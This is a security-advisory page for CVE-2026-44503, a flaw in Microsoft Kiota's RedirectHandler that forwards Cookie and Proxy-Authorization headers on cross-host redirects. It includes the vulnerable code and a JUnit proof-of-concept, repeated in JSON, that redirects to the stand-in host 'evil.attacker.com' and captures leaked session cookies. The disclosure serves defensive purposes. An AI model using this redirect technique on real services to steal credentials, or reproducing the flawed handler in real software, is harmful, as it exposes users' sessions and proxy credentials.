GHSA-7J59-V9QR-6FQ9
Vulnerability from github – Published: 2026-05-07 01:49 – Updated: 2026-05-14 20:53Summary
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.
This vulnerability is present in the RedirectHandlers for:
https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go
Details
Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.
Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:
boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}
PoC
-
Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
-
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java
With this content:
package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;
public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}
@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
-
Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
-
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.
Impact
The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.
Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.
Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.)
All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.microsoft.kiota:microsoft-kiota-abstractions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.Kiota.Abstractions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "microsoft-kiota-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "kiota-typescript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-preview.100"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/microsoft/kiota-http-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44503"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:49:01Z",
"nvd_published_at": "2026-05-14T16:16:24Z",
"severity": "HIGH"
},
"details": "### Summary\nThe RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. \n\nThis vulnerability is present in the RedirectHandlers for:\n\nhttps://github.com/microsoft/kiota-dotnet\nhttps://github.com/microsoft/kiota-java\nhttps://github.com/microsoft/kiota-python\nhttps://github.com/microsoft/kiota-typescript\nhttps://github.com/microsoft/kiota-http-go\n\n\n### Details\nOnly the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.\n\nThis is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp\u0027s built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota\u0027s broken implementation.\n\nVulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:\n\n```\nboolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());\nboolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());\nif (!sameScheme || !sameHost) {\nrequestBuilder.removeHeader(\"Authorization\");\n// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed\n}\n```\n\n\n### PoC\n1. Clone the repository:\ngit clone --depth 1 https://github.com/microsoft/kiota-java.git\ncd kiota-java\n\n2. Create the PoC test file at:\ncomponents/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java\n\nWith this content:\n```\npackage com.microsoft.kiota.http.middleware;\nimport static org.junit.jupiter.api.Assertions.*;\nimport com.microsoft.kiota.http.KiotaClientFactory;\nimport okhttp3.*;\nimport okhttp3.mockwebserver.*;\nimport org.junit.jupiter.api.Test;\n\npublic class SecurityPoC {\n@Test\nvoid crossHostRedirectLeaksCookies() throws Exception {\nRequest original = new Request.Builder()\n.url(\"http://trusted.example.com/api\")\n.addHeader(\"Authorization\", \"Bearer token\")\n.addHeader(\"Cookie\", \"session=SECRET\")\n.addHeader(\"Proxy-Authorization\", \"Basic cHJveHk6cGFzcw==\")\n.build();\nResponse redirect = new Response.Builder()\n.request(original).protocol(Protocol.HTTP_1_1)\n.code(302).message(\"Found\")\n.header(\"Location\", \"http://evil.attacker.com/steal\")\n.body(ResponseBody.create(\"\", MediaType.parse(\"text/plain\")))\n.build();\nRequest result = new RedirectHandler().getRedirect(original, redirect);\nassertNotNull(result);\nassertEquals(\"evil.attacker.com\", result.url().host());\nassertNull(result.header(\"Authorization\")); // stripped (good)\nassertEquals(\"session=SECRET\", result.header(\"Cookie\")); // LEAKED\nassertEquals(\"Basic cHJveHk6cGFzcw==\", result.header(\"Proxy-Authorization\")); // LEAKED\n}\n\n@Test\nvoid endToEndProof() throws Exception {\nvar evil = new MockWebServer();\nevil.start();\nevil.enqueue(new MockResponse().setResponseCode(200));\nvar trusted = new MockWebServer();\ntrusted.start();\ntrusted.enqueue(new MockResponse().setResponseCode(302)\n.setHeader(\"Location\", evil.url(\"/steal\")));\nOkHttpClient client = KiotaClientFactory.create(\nnew Interceptor[]{new RedirectHandler()}).build();\nclient.newCall(new Request.Builder().url(trusted.url(\"/api\"))\n.addHeader(\"Cookie\", \"session=SECRET\").build()).execute();\ntrusted.takeRequest();\nRecordedRequest captured = evil.takeRequest();\nassertEquals(\"session=SECRET\", captured.getHeader(\"Cookie\")); // LEAKED to evil server\nevil.shutdown();\ntrusted.shutdown();\n}\n}\n```\n\n3. Run the tests:\n./gradlew :components:http:okHttp:test --tests \"com.microsoft.kiota.http.middleware.SecurityPoC\"\n\n4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.\nBoth tests confirm Cookie and Proxy-Authorization headers are sent to the attacker\u0027s server on cross-host redirect.\n\n### Impact\nThe kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.\n\nAttack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim\u0027s session cookies, proxy credentials, and API keys from the redirected request.\n\nImpact:\n- Session hijacking via leaked Cookie headers\n- Corporate proxy credential theft via leaked Proxy-Authorization\n- API key theft via leaked custom auth headers (X-API-Key, etc.)\n\nAll consumers of kiota-java are affected, including Microsoft Graph SDK for Java.",
"id": "GHSA-7j59-v9qr-6fq9",
"modified": "2026-05-14T20:53:18Z",
"published": "2026-05-07T01:49:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44503"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.